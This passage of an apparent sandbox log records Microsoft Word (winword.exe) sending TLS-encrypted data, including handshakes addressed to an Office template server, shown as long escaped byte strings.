  468. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04w\\xcc\\xb3\\x813\\xf8\\xfc\\x97\\x0b\\xd5\\x00>\\x82v\t\\xcd\\xe8\\x0ek\\xf2\n9\\xd6\\x0cu\\xae\n\\xe0\\xb8\\xeauo\\xc8@e\\xaf\\xa7\\x03\\xc8y\\xd6s\\xa3\\x96n#\\xeb\\xabq\\x12\\x97\\xd0\\xa13\\x9e\\xfe\\xbe\\x1a\\x05\\x91\\xb7\\xa2q\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x0005/?\"\\xc6\\xe9\\xf4+w7\\xe0\\x07\\xdd3b\\xde\\x94\\xb0<i\\x18x~t@\\x96x\\x93\\xb3\\xd6\\x8b9i\\x9f\\x07s\\xec\\xaf\\xb1ub\nz\\xafoc\\xd76"
  469.  
  470.  
  471. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x8e\\xac\\xf4r\\xcb)\\x0el\\x1a\\xdcoud\\x91ess\\xc8\\xfcj\\xd2(\\xdd)\\xbd\\xb3\\xb8\\x90\\xae\\x19q\\xebj\\xa8\\xd6@\\xdc\\xde\\xe2\\x86r\\x8fp\\xc0+nc\\x10\\xc8f\\xef\\xa2\\xf6t\\xb0i)\\x8b\\xa7?\\xfcj\\x83*\\x18a\\x03k\\xa9\\x87r\\x0fc^\\xb3\\xa6\na\\xa3\\xbez4\\x95\\xdea\\x91$ \\xe0/\\xd0\\xf4\\xfe\\xab\\xb3\\xea\\x01\\xc4\\xa8\\xd5\r\\xffc\\xc5\\x8d\\xb0\\x85\\xca\\xc70\\\\xff'\\xc8\\x8f~\\xd9\\xde\\xfd\\x9d\\xbc\\xd2\\xf5\\x1ch\\xc4\\xa9\\xcd\\x99k,\\x97\\x93\\xccg;\\x86\\xb7\\xf3\\x00\\x99\\xb9ym\\x99\\xa6\\xfd\\xda\\x9c\\xc6\\xe2\\x92a\\xc0h\\xab\\xf4\\xea;\\x03\\x9a\\x0f\\x05a\\x13f\"n\\xeau\\xe5\\xc2\\xf0\\xca\\xef\\x08\\x88\\xbcf/b=\\x9d2g\\x7f>\\x8b\\xa0\\xb0\\x94v\\xe1\\x84\\xb6q\\xf7r5y\\xfd\\xf8\\xa2\\xf2\\xcd\\xf5\\xb8\\xc1ik5\\x99\\x1d\\xe1\\x81\\x0ebvl\\x18t\\x85b=ah\\x00\\xe1\\x15\\x90\\x9ex\\xcbe\r\\xdf\\xf3c\\xd9\\xfd\\x9dh\\xf3\\x97\\xc1\\xecb"
  472.  
  473.  
  474. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x049\\xc8\\x82\\xc0\\xc3zyl\\x0e\\x7f\\xa7\\xd9\\x7f\\x94g=w\\xebp\\xaap\\x19\\x1f\\xf75\"\\x1cm\\x18\\xa8^\\xe7w\\x1e_$\\x90+_\\xee\t\\x95\\xa6\\x9a$\\xc0h?\\xf7\\xab\\xf9\\xdd\\xab\\x00\\xc35j\\xed\\xe0%\\x147\\x02w\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xd7\\xcfg\\xaa\\xa0\\xbc#\\xc2\\xd3\\xc78zz|\\xcecf\\xd4n\\x91\\xb2\\xca\\x03\\x9f\\xff\n\\xfab\\xb0%p\\xd9\\x17\\xa8\\xa9\\xda\\xb8\\xb4\\xad\\\\x83nu\\xb8\\xf9\\xe23"
  475.  
  476.  
  477. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010^\\xf1)\\xc3;\\x7fshj\\xd7~\\xa2\\x18\\xdd\\x90u\\xaf\\x81\\xaf\\xe6\"\\xf2w\\xa3\\x9b\\x1e\\x99\\x027\\x89\\xedjg\\xe0\\xe8\\xe7\\x91\\x9a?\\x1b\\xf0ym\\x0cm5@\\x92\\xf7\\xb6\\xcc\\x16\\xd7\\xa0\\xe4ze\\x8b\\x90\t2\\xec\\x820\\x1a\\xf6\\x8b.f\n\\xdf\t\\t\\xa3\\xbb\\xb7\\x86\\xf3\\xd4\\xf4\\o1c\\xfdi\\xb0\t\\xdc\\xf1\\xa0\\x17\\xb2\\xb4\\x0c`\\xd9n\\xc8\\x11u\\xaf\\x98\\xa0|\\x12\\xd3\\xac\\xeb\\xbe\\xb3;fi\\xd2\\x1b!\\x1b\\xefvy\\xa1\\x9d\\x99\\xd7\"\\xbd\\x1b\\xef\\xd8\\x81\\xa4\\x86\\xe2\\x86\\xfcf\\x8ec\\xf1\\xdf\\xb03^y\\x1f\\xf2\\x0eav)\\xb9\\x98@e\\xea\\xc8\\xd3\\xc0\\xae\\xc6\\xd6\\x17lo\\xb7b\\xa9\\xc1\\x9d5\\x8a\\xee\\x83\\x98\\xdaw\\x06\\xf0_\\xbd\\xb3\\xb4:jy\\xa1\\xfc\\xb2co\\xed\\xd3k\\x8d\\r\\xb8m\n\\xf3q\\xc9\\xce=\\xe3^\\xdf\\xe0eh\\xaa\\xf45\\x04|\\x98\\x94\\x81r\\x16\\xac\\x98\\xd6\\xeb\\xc35\\x9b\\xa6\\xda\\xe3\\xf5\\x98\\x8eb\\xec.\\x01#\\x11x\\xe3\\x03@\\x82\\xbb"
  478.  
  479.  
  480. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xbc\\x13\\xc5\\x1d\\xfc4\\xb2p\\xc0u&\\xdc\\xefp\\x11\\xe2\\xaac\r\\x8d\\x8e\\x1d#\\xad\\xb6\\xb9ta\\x19\\x06ow\\xa2\\xe8\\x12wp\\x99n\\xc1n\\xef\\xf2\\xa4'h\\x01\\_l\\xaf\\x05\\xf6@\\xd63\\xbav\\xf46\\xb4\\x0c\\xa7\\xad&\\x0f\\x87\\xba\\x99r5vmi\\x08\\xe6\\xf2\\xf0\\xd1\\xa1\\xc2\\xa7%\\xc9\\xb2\\x83'\\x0e\\xfa\\x00\\x11p\\xa9\\xa7\\x1a\\xee=)i\t)c\\x97\\xea>t<\\xcb\\xae\\xb2\\x14\\xfehz\\xca\\xe7\\x82\\xda\\x0e\\x10\\x8c#\\xa3o\\x90:>\\xf6gs\\xa6h\\xb8\\xec\\xc1\\x96o!y\\xa3\\x9d\\xa3\\x7f|\\xf6>\\xf15fp\\xacy<\\x15u%\\xa7\\x8f\\xd2tu\\xd6\\x88\\xbaz@(\\xfbj\\xb8\\xd41\\x8e\t.:\\xad\\xad\\xa6`_u\\x9f\\xd3\\xa5\\xd4n\\xf7x\\xc9\\xdc\\x82q\\x85\\xda\\x05\\xf7;\\x97\\x0e\\x14\\x85od\\xbc\\xec#\\xfc\\xf0\\xd5\\x11\\x86\\x12\\x95bya\\xd5_p\\xacn\\xe3\\x0b\\xc4\\xccc\\xc4\\xce\\x05<(t\\xab\t,\\x96\n\\xe1 \\xed\\xba|\\xe1"
  481.  
  482.  
  483. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x013\\xc5\\x8a\\xb8\\xf5\\x88\\x8275~\\x88\\x15y\\xa0\\xe0\\xb1\\x9b0\\xb7\\x19\\x8e\\xe8\\xd5\\xa7\\xa2\\xb8\\xacf\\x90v\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  484.  
  485.  
  486. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xc8\\xeb%\\xb1\\x96\\xa5\\xa3\\x10\\x8d8.>\\xd4\\xe4k\\xfc \\x9a\\x03e\\xb9l+~\\xe4\\x9d\\x9ah\\dd\\xdc\\xe7$w\\xebt\\x1c\\xd5\\x90c\\xfa\n\\x0b)\\x8c\\xbdjy\\x0b\\x7f\\xd8\\xcdm`\\xddb\\xbc\\xa0\\xfe'\\xe9\\xfet\\xab\\x15\\x81xzd\\xb2\\xf4\\xcb\\x9e\\xbct*\\x86\\x87\\xb3\\xb5\\xcf\\x11\\x00o\\xdej\\xaf\\xaax\\xf8\\x19\\x15\\xb5\\x1c\\xd5\\x96\\x1a\\xa8&\\xe6\\xc7\\xd5\\x9dy\\xc8\\x85\\x8b\\xf0\\x9e\\x12\\xcb\\xfd\\x1d\\x95\\x95d\\x9e\\xb6\\xd2o\\x9e\\xa3p\\x8f\\xc2\\xba+\\xc1\\xd2\\xb1b\\xf8\\xda\\x1d\\x7f_d\\x9ag\\xca\\xee\\xc7\\xf8\\x85\\xcc94\"\\xbas\\x13\\x1f\\x0e*`h?\\x1b\\x8c\\x11\\xb7\\xf6\\x8ad\\xbf\\xa2'c\\x9d\\x15\\x151\\xf1\\xfe\\x82ud\\xffq\\x1d\\x13cm\\xd7\\x10\\x8b&\"\\xf7\\xf5-\\x08\\xf6\\x0e\\xf3\\x1e\\x19n\\x9c-xg-\\xd2\\x1c\\xfdc\\x1b\\x03\\xcdz\\xc35o=\\xe1\\xc2un\\xe9e\\xb1\\xca\\xa5\\xd0\\xba\\xc9\\x13o\\xf8\\x98\\x8d\\xb1\\xd5\\xdcb\\x17q\\xef\\xcb\\xbea\\xe6\\xcb\\xe7\\xf4h\\xf3"
  487.  
  488.  
  489. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xf4j\\x01\\xd7\\xd6\\x90\\xf9\\xac\\x927z\\xb2pku\\x00q\\xaa:o\\xb7h8\\xfb\\x90\\x0b5\\x90\\xf4>&\\x8a\\xc0\\xe6r8`v=\\xc2c/\\xc8\\x17\\x81jp\\x00\\x9f\\x86z/8'qo\\x15\\x95\\xba\\xfd\\xfb\\xect3y\\xe4$f\\x84\\x0fl(.\\x9b\\xbbd\\x86\\xbc\\xa1\\xebyj\\x9bf\\xc9\\xc5\\xee\\xc1\\xd5\\xec\\x0c\\xe3j,<k\\x13\\xac\\\\xfa\\x11\\xa19\\x91\\x82wd\\x9ew\\xf349\\x9c\\xc2\\xb1\\xb7\\x0e\\xaerz\\x81\\x13\\xcftih\\xee\\xf9?\"\\xaa\\xb5\\x95o1t\\x8a\\xaf2\\xf5\\xbc\\xb1;\\x15?\\xb3\\xdd\\x82\\xff\\x01\\x83wk\\x10\\x07xa\\xfa\twt\\x1a\\xda=\\xab\\x0ea\\xe1xo4u\\xee\\xc7\\x0c\\xe5\\x99mkt\\x89\\xc9\\x82\\x85c<\\xcd)r\\xc0\\xcc\\x15\\x7fs_\\x0b\\x10\\xed2\\xb2\\xde\\x8d\\x96~\\xdb\\x07\\x9d>\\x98l\\xcd\\xe1\\xc2\\xe0\\x01rkp\\x8cqfdy\\x02\\x9a\\xfd\\xa4#\\x0c\\x0f:\\xf8\\xa6a\\xb2\\xac\\x9a\\x81hb\\xaev\\x04\\xbbl\\xees"
  490.  
  491.  
  492. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010jg\\xa0\\xa4y\\x8f\\xc8\\xda\\x81q \t`m\ry\\x84p\\x9e\\x0bt \\x7f,\\xb8\\xa3u\\x1d/\\x0fp\\xb5\\x05\\x9b\\xc3\\xa9\\xb6\\x0b4\\x85a0\\xa2#\\x9a\\xb8\\xed\\x08o\\x08hv\\xeea\\xa7$\\xb3\\x9bp\\xe5w\\xd8\\x97z\\xac\\x9c\\x96\\x87^\\xd5a\\xbf\"h1\\x0b\\x03v\\xf9\\xc1\\xb66\\x05\\xf4\\xb5t\\x18k\\x82c\\xe7\\xfebu\\x93b2\\x00\\xe3v\\xefi\\xecnu\\x07\\xc2\\xa2l\\xd9\t\\xe4\\xba\\xd2\\xc8w\\xd5\\x12r\\x00\\xa0q%z\\x17\\xe4i\n\\x19\\xd1s\r\\xc2\\x86\\x19v\\xefn\\xc1a\\x03\\xe1\\xe8\\xe4)y\\x02\\x17\\x0c5\\x1f\\x1ex\\xdb\rb\rc\\xbb\\x0c\\xfec\\xdf\\x9ezp\\xc4\\xea\\xe6\\xb4\\xc9\\x9b\\x96\\xefk\\x93\\xae32\\xff\\xcb\\xe1\tf\\xc8%*q#3m\\xdd\\x9c\r\\xe6m\\xe9\\x19\\xb4ps\\xfa\\xbd\\xfc\\x01\\xfd\\xd4@\\x8f\\x80q\\xf2s\t\\x8b\\xef\\xc5\\x85\\xd7o\\x8dz\\xd6l\\xa8\\x08\\x04:~qo\"\\x98\\x85zz\\x90s\\xb0\\x1f_\\x15\\x9d\\xc9n$<kj"
  493.  
  494.  
  495. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x00\\xf4\\xc8\\xb2uiy\\xcc\\x9f<$\\xc0\r-f\\x98#ph\\xdfu!s\\x8a\\?t\\xfe\\x0b<\\xd4\\x0e\\xee \\xe1a6gex\\xc4&@\\xf8\\xbc\\xd6\\xf4\\xdc\\xa6\\x13\\xbfxc\\xac\\xcd\\x00v\"a\\xd0x\\xe67k\\x12\\xf3\\x9e\\x1b\\xcb\\xff\\x03\\x17j\\x03!\\xbfrj\\x05\\x9al\\xec1\\x8e\\xf7\\xe1\\x06\\xe9\\xbc\\x97k\\x80)uj\\xb1\\xcc:\\xf9\\xb4uz5=\\xcb\\x10\\xf5\\x83\\x03\\xdavdp\\xab\\x83\\xf8x'\\x98?\\xff\\xb6\\xc4\\x04\\x0b9\\x00n\\xe3\\x89h\\xa0+\\x04\\xf3\\xf2lq\\x0b\\x18~^/_\\xbbo#)\\x0c\\xe0\\x90\\xa9\n\\xda\\xe1\\x89\\x89\\x9d\\x1e<g\\xb5=\\xfcf\\xad\\x1d\\x9f\\x0e\\x1buc\\x1b\\x0f\\xf9\\xed>\\xa7mn\\xd3\\x15i,\\xaf\\xa9\\xf5\\x02\\xcc\\xa7\\xcc\\x9b\\x8f\\x8f\\x96wb|\\xa1\\x8c\\xc9\\xa0\\xcd*\\xb4,\\x94\\x99p#\\x08\"rwz\\xc7;\\xff\\xf3\\xa3\\xbez\\x13f\\x0b\\xfd\\x87\\xcf\"\\x87\\x80yv\\xf3ea\\xb99\\x08\\xe8\\xbat\\xe7/m\\xb5\\x98"
  496.  
  497.  
  498. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x013\\xc5\\x8a\\xb4\\x17oc\\xcf\\x89\\xd49uds\\xb9\\xafyw!\\xe8\\x10:\\xef/\\xdfu\\x0e2;\\xa1r\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  499.  
  500.  
  501. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04!\\xc4/\\xff\\xf7\\xb4?\\xd4x\\xb2p\\x8c\\x15\\xc7\\x82\\x13\\x0f\\xf7\\xb0j\\xbb\\x1a>\\xb0\\xdb\\x9d\\x17rri8\\xc6\\xfc\\x86i0\\xe3s\\xa8\\x0b\\xe7\\xee\\x8f%\\x06\\x12\\x7f2l\\xb7e\\xd3\\x05d3\\x88\\x8f\\xac\\xf9\\xbb\\x93\\xd2\\xcb\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x0cm\\xaf\\x04>\\x125\\x9b\\x02\\xfb\\xb9\\x0b\\xa6\\xf7\\\\x18\\xc9\\xbf\\x86+\\xfa.kw\\x88t\\xc5\\x84\\xa6\n\\xa9\tv\\xc4:.\\xbb.\\xa7\\x00?4\r\\x1ckf"
  502.  
  503.  
  504. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010a\\xb5\\xa8\\xc1\\x84\\xc6\\xc6q8\\xd3\\:~\\xdfc\\xaf\\xf4\\x90l\\x9c\\x1bj\\xed\\xd0\\x9c\\x00\\x88j\\xb4'\\xb1w7/\\xbb\\xda\\x04u\\x1bz\\xd7b\\x08a\\x0b\\xc2c&\\x85\\x04e\\x13%\\x99\\x82zc\\xb3w5\\xf8\\xa7\\xb7n(\\x94\\xa4\\xbff\\xa7\\x9f\\xb4\\x83\"d\\xa0\\x1f\\xc5\\xec\\x90e\\xdc\\a\\xcf\\x90\\x17\\x9c\\xfbk\\xc8\\xbfz\\xc4\\xfa8\\x87\\xafe\\xb3\\xdd\\x94\\xdf\\xda%\\xaf\\xa8\nn\\x0e\\x19m\\xf0\\x84\\xe6\\xcd\t\\xa1\\x81\\xf9\\x9eaz\\xcb\\xb8\\xb2\\xa9`\\x0c\\xcf>\\x0e\\xeb\\x96+\\xa3\\x87\\x8d@\\x14at\\x85\\x84t\\xd4bk\\xb5\\xfbhr\\xb7\\x87\\xa3\\x9b\\x08\\xda\\x1d\\x7f\\xcb\\x9b\\xd1\\x9d\\xab\\x88\\xceop\\x97\\xf3\\xbfk9\\x8djo\\xd4+#;\\xb4*\\x9d\\xb5/\\xf4\\xc7\\xfc\\x06\\x8b\\xbe0\\x18\\xde\\xcd|\\x88,\\xe8j\\x13\\xcc\\x9a\\x0c7\\xe2\\xc3\\x81'\\xfc\\xfct\\xdf\\xc0\\xb2\\x03</\\x06d\\x11$&\\x83\\x15\\x83\\xc7\\x14w\\xfesz\\xeb\\x0e\\x95\\xdap\\xc9m\\xdayi#\\xed\\xa6_"
  505.  
  506.  
  507. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xc6\\x98\\x80\\x84\\xd1\\x02\\x98\t\\xd0s_\\xb4/\\xbd\\x05sb\\xd9\\xb4\\x17\\xaa\\xcc\\xd3\\xdc\\x85\\xe1a\\xe6\\xd0r=\\xaa\\xb6\\xfc\\xc321?l\\x11\\xe7r\\xf6\\xecg\\x9c\\x03\\xd7:\\xce>h)\\xac\\xa7t\\xd4\\x89\\xd7?\\x86e\\x17\\xc1\\xdac\\xf9\\x9cu\\x7fccm<&xa\\xe2az-\\x904\\x8e\\x15h\\x02ma\\xfcm\\xc3\\xcb@\\xdf\\xf2\\xe7\\\\xbc/p\\xa0\\xe9\\x12\\x15\\xf1\\xb7\\xab\\x9f;<\\xd2\\xbc\\x8c\\xdb\\xa6\\xbe\\x07\\x90h\\xbai\\xa7\\xc1\\xa3\\xec\\xb0i\\xae\\\\xd8\\xa7\\xaf\\xeahe\\x81_\\xdf\\x102\\xb4\\x9cr\\xd3\\x03\\xd2\\x94u\\xfaus\\xa7%\\xa6\\xe1\na\\x90\\xd6\\x83\\x9e\\x0c\\xa1\\x12\\x82\\x87\\x8ec\\x1f\\x1e@c\\x89fdk\\xf6\\xf6\\xb9\\xe88\\xe1\\x0e$\\xe9\\x99\\xcbpti\\xa7\\xdeo'\\xcb\\xd4\\xbfs.\\xc2\\xb8\\x0f\\xcf\\xc8\\xacz\\xf4o\\xb7\\xa7\\xde\\xb6\\\\xff\\x85\\xaf\\x05y\\xfau\\x9f-\\xa3\\x87n7\\xac\\x057hkrg\\x91az\\x90v\\x8e_v"
  508.  
  509.  
  510. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x9d\\x139\\xc5\n\\xabe\\x88\\x9c\\x05\\xc0y\\x191\\x0f\\xf9\\x06ke.\\xed\\x12\\xda\\x0c\\xffn\\xf2\\xcc\\xed\\xf8i\\x1esfn\\xd2\\x11\\xfe\\xfa\\xee\\x9b\\x06\\xde\\x91\".\\xce3\\x82\\xeb\\xddb\\x82\\xce\\x9e\\x18_\\x8b\\xf9\\xfb\n\\x9e\\xc6\\xfbm\\xe5\r\\xb2b%\\x08|\\xcb\n\\xba\\x15\\x85\r\\xff\\x97f\\x12\\xd5\\xaam\\xc9\\x01\\xaf\\x82c\\x19\\x03\\xc2,g\\x96 %\\x1df\\xfcez\\xc8kd\\x1e\\x9ez\\xa9\\xe14\\xc0\\x02\\x84n>\\xe1\\xd1gr\\xb2\\x8d\\x1d0@\\xb6\\xba\\xffs\\xf5\\xcc\\xfb\\xd4\\x1c`\\x90\\xca\\x10\\x9b\\x7f\\x96\\x91@2m\\x8do!\\xa8ul\\x92q\\xbd\\x0b\\xdd3\\xd5\\xe7\\xa5\\x86\\x81\\x8d\\x1c\\x96o\\xbcl\n3j4\\x90bzog\\xe6\\xf0'b\\xb6z\\x0e\\xfam\\xaf\\x9d(\\xf5l\\xf6\\xf4\\\\xbaj\\x07\\x86`\\xe4\\xc6\\xf2\\xcf9\\x8f+\\x12\\x81de\"\\xba\\xc9\\xd8fz\\x02\\x13b<lv\\xbb\\xed>\\x07\\xc7\\xfdhqq\\xd4\\xc2\\xa8\\x10\\xdfiead\\x0b\\xe7\\x98\\xed\\xfe^\\xe7"
  511.  
  512.  
  513. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010-%\\xb2\\xe8\\xfdq\\x85+\\x96d\\xe6\\xd1\\xd4s\\xf0%4\\xf2(i\\xf9\tj\\x9ds\\xd7'\\x9b\\xf9\\x8d_\\x92\\x87@\\xe7\\xd0\\xee\\xcf\\xfe\\xab\\xff\\xf2gj\\x14\\xb7\\x9a\\xd7\\x8e\\x04\\x97 s\\xfe\\xdd\\x84~j\\x02.j\\xd1_\\x7f\\x00\to0\\xf7y\\x92.\\x80\\xb3\\x8e\\xd9\\x19\\x1c5l\\x1cc\\xe6\\xc7\\x8c\\xbd\\x14\\x11\\xb6\\x11s\\xf4\\xee'\t\\x0ev\\x1a\\x11j\\x1d\\xba\\xc3\\xca\\xa3j\\xd9\\xd8:\\x9c\\x9d1\\x9d\\xb3\\x17\\x02\\xbd\\x88\\x8d\\x02^r5\\x04x\\xac\\xd7q%\\x04q\\x14g\\xac\\x9d\\xa5\\xa2\\xb6\\xfa\\xb0\\xf0\\xa1!\\x12i\\xfc\\xc0*/\\xf9\\xb7*\\xfc\\xe1\\xc5\\xbfl\\xd9s\\x82\\x8b\\x19w\\xcac\\xe2\\xae\\x11\\x8a\\x9d-\\xa4s\\xa6\\xd7esf\\x84\\xff\\xae\\xad\\x16\\x04$\\xdb\\x0fi\\xb4\\xb9t\\xc9h\\x1d\\xd8\\xb5\\xce $\\xa6h\\xbd\\xc0\\xee\\xaap\\xa3y\\xe8\\xf0\\x99\\xbbx\\xf4\\xde\\x14\\x1f8\\xf8\\xa2n`\\x9c\\xfb\\x17x\\xc9\\xba9\\xbb\\x04\\xb0\tgz\\xfaf\\x0es\\xd8\\x1b\\xd5\\xb2-\n\\x15fb\\xfd\\xdb"
  514.  
  515.  
  516. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xcb\\xff\\xf9\\xca\\xaar\\x11g\\x8e\\xbcd\\xd1l\\x13\\xb5x\\xdb~\t\\x03\\xb5_\\xf1\\xfc\\xa8\\x88\\xd5\\xed\\xf4z\\xb0\\xe0\\xcbrc)\\xfb\\xc6\\xaco\\xf3\\x9f%\\x8e\\x84\\xb8fg\n6\\xe5n7i\\xdd=a\\xa0.\\xa8b\\x06\\xad`\\xe4\\xe7@i\\xa7^\\x000b\\x10\\xb4h\\\\x86\\x1es-6.h4\\xb6\\xc5g\\xef\\x82\\xd6\\xd2\\xde\\x96`\\xc4\\x87\\x01\\\\x86\\xde+\\xcd\\xd4\\xaf(m\\xa2*\\x1a&n?o\\x8e%q\\xd6\\xd2\\x12\\xf6\\xf6\\x00\\x1dp\\xda\\x8fc,\\x1f\\xe2\\x895\\x11og\\x85\\xa0\\xc2\\x934\\x98\\xed\\xcf\\xae\\xf6n\\x17\\x9d6\\xa7%\\xb0\\xee\\x81\\x00\\xe6\\xd6\\xad\r\\xa0\\xfd\\xa4%\\x87\\xb2\\x14\\x9cv'f _\\xbe\\x1b\\x80\\xe1kv>m\\xa1\\xedb\\xe0xl\\x84\\xdd\\xab\"x-:f\\xddd\\xf0\\xc4ym\\xd6/g\\xac\\xdbv\\x9e\\x83\\xb3\\xc9hc<\\xd0a\\xa7ha_\\xf4ux\\x81w\\x94\\xf3\\x83ef\\x08\tc\\x05#\\xe6wl\\xa9\\xd1\\xc0\\x18\\x8dv\\x10ez\\xf9\\xa2\\xcc"
  517.  
  518.  
  519. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04|\\xa0\\x0c\\xe9\\x921+\\x1f\\x12\\x98<\\x8a\ta-\\x90\\xe0x,y\\xaf\\x04\\x17\\xb0\\xb7~\\x94c\\xa0\\x97\\xf2d!m\\xdfw\\xf9\\xc2\\xefo\\xa6\\x05\\xfdi\\x00\\xd9\\xf3\\xae\\x90\\x92\\xd7\\xb1-/\\xa7\\x1e\r\\xaao\\x82\\xcfs\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000:\\x86\\xf2\\xfa\\xff\\xf2\\xd8\\x9b\\xc52a\\xe8\\x97)\\xd0am\\x9bn\\xd3\\xff;dj\\x04\\xef\n\\x9b1\\xd6\\xa05\\x94c\\x15\nh<g\\xc4nq\\x13\\xb2\\xa6\\xb1\\x87"
  520.  
  521.  
  522. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x80\\xb9\\xeb\\x95zh>@\\xb8j3\\xa1\\xeaol\\x8a#\\xab\\xd9u/\\xde\\x13\\xfdd\\x8anp\\xa9\\xa2\\x85\\x9du$^\\xfa\\xe4n=\\x96\\xb2\\x82\\xcb\\xca\\xa2\\xf5t\\x83<\\x18\\x9d\\x8f\\xeb\\xda\\xe5l\\x9f\\x10\\xd3y\\xa3\\xc6\\xcb\\xa0z\\xa9j\\x04@n)'\\xcd@@9b\\x0f\\<\\x99\\xe9&\n\\xa2q#\\x1ee\\xe4\\xfb\\xfa\\xf7fc\\x1bg+\\x8e\\xf0&zb\\xa76jv\\x02\\xc7\\xf9r\\xc9<>o\\x1e\\x19f\\xdf\\xb7\\xa5f\\xd5q?\\x10g\\xa5\\xa7\\x12\\xc4\\xc6\\xae+\\xb6\\xbd\\x84\\xd9\\xc5p\\xe8z\\x1d|\\xf4w\\xbc2\\xb7\\xf7\\xe8\\x11\\x81\\xfa\\xfb*\\x02\\xd9vd\\xa5d\\xbau\\x9c3z\\xb5\\xc4\\xbb\\x86t4\\xbb\\x1f\\xd7e&\\xb0\\x13\\xd8\\xcbb\\xcb\\x10)\\x10\\x1a\\xc9k\\xaej\\xf5\\x96|\\xfa\\xbc8\\x8b\\x97c\\xb9\\x9e\\xef0!p\\xcb\\xef\\xf6\\x7f\\xebu\\xb3v)#5`)q\\x11\\xea\\x02d\\xce\\x83@\\x9d\\xe6\\xdb\\x87\\xbf\\xef\\x15\\xe4\\xc3\\xea\\x84\\x1f\\xa6x\\x1bp\\xd3"
  523.  
  524.  
  525. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010u\\xc7jw)g\\xa9\\xb99\\xe2\\xff\\xb4\\xc8\\xc5\\x8e\\xbb1sn\\xd2\\x05\\x89\\xcf\\xe2\r\\xe0u\\xfd('a\\x87\\x80h0\\x9e\\x04\\xf7\\xcf\\xad\\xebd/\\x19\\x003lq\\xde)\\xbd\\xe1+:\\x82\\\\xfb>8.\\xb4s9\\xdf\\x99\\x10\\x10\\xe5\\x81i\\x0f\\xe8q\\xa9\\x15\\xb3\\xc7\\xddn\\xea$\\x972m\\x05/\\x8d\\xab\\xc2\\xb7\\x8c\\xa8\\x99q_\\x92\\x8e\\xbf\\xfb\\xbf\\x881\\xf2\\xfb\\xfa\\x94+t\\xd9\\xe7\\x02\\xee\\xa9\\xf7(/\r(\\xb2\\x84\"@\\x169\\xe0\\x9e\\x01\\x97n\\xbb\\xc0\\xf0\\xb9\\xda\\xa7\\xd7\\xa9\\xc2k3z\\xccq%\tl\\xaa\\xd8es\\xb8\\xd1\\xa4\\xfd\\xe6\\xbc\\x0e\\xf6\\x91w\\xec.0a\\x8e\\xb5\\x81\\x03\\x8bb\\x19\\xbfyr\\xba\"(\\xae\\xe8u \\xcf|\\xe0\\x0b\\xd1\\x8a\\xe0m\\x8c> \\x94\\x88i\\xff0w\\x06uzm\\xdc\\xb3\\x04\\x17\\xc9\\xa8j\\xa4\\xac\\xca\\xf1\\xe3c|\\xc8\\xd0b\\xcb\\x07z\\xcag7\\xbd\\xca\\xeb\\xe7\\x8d\\x86f`y\\xf1h\\x87\\xdclh\\x9c\\x1d\\x90k(\\xa4\\xdc\\xf0\\x95"
  526.  
  527.  
  528. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x9f\\x86a\\x83\\x15\\xb1\\xad<0\\xbf\\xd4\\xdd.h\\xb5\\xc1\\x8f&\\x18xy\\xdf\\x83\\xf8=\\x05g-\\xa2\\xd7(\\x97\\xd5k\\xb2\\xb91k\\x89\\xf8\"x\\xcd\\x91^s\\x8e\\x06\\x98\\xf2ea2u\\xdc\\xef6\\xf35(\\xbd\\xac\\xcf\\xcat\\x1b\\xc1n\\x0fc\\x17\\x13\\xf2\\xe6\\xc8um-\\xd8\\xe1i\\xc7\\x98\\xc7l+u(\\x7f\\xa8\\xeb0\\xc8\\xd9u\\xde:\\x91d\\xd9`\\xa8\\x8c\\xf9e/p\\xe3)\\xd5p<@\\xc6\\xa0c\\x88?\\xa7\\xa6\\x1b\\xd6\\x1eo\\x13i\\x01\\xe4v#yr\\xd4\\xcb\\xd8\\xc3\\xe7i\\x10\\xb4\\x87\\xe3\\x85e1\\x86\\x8fa\\xd7'k\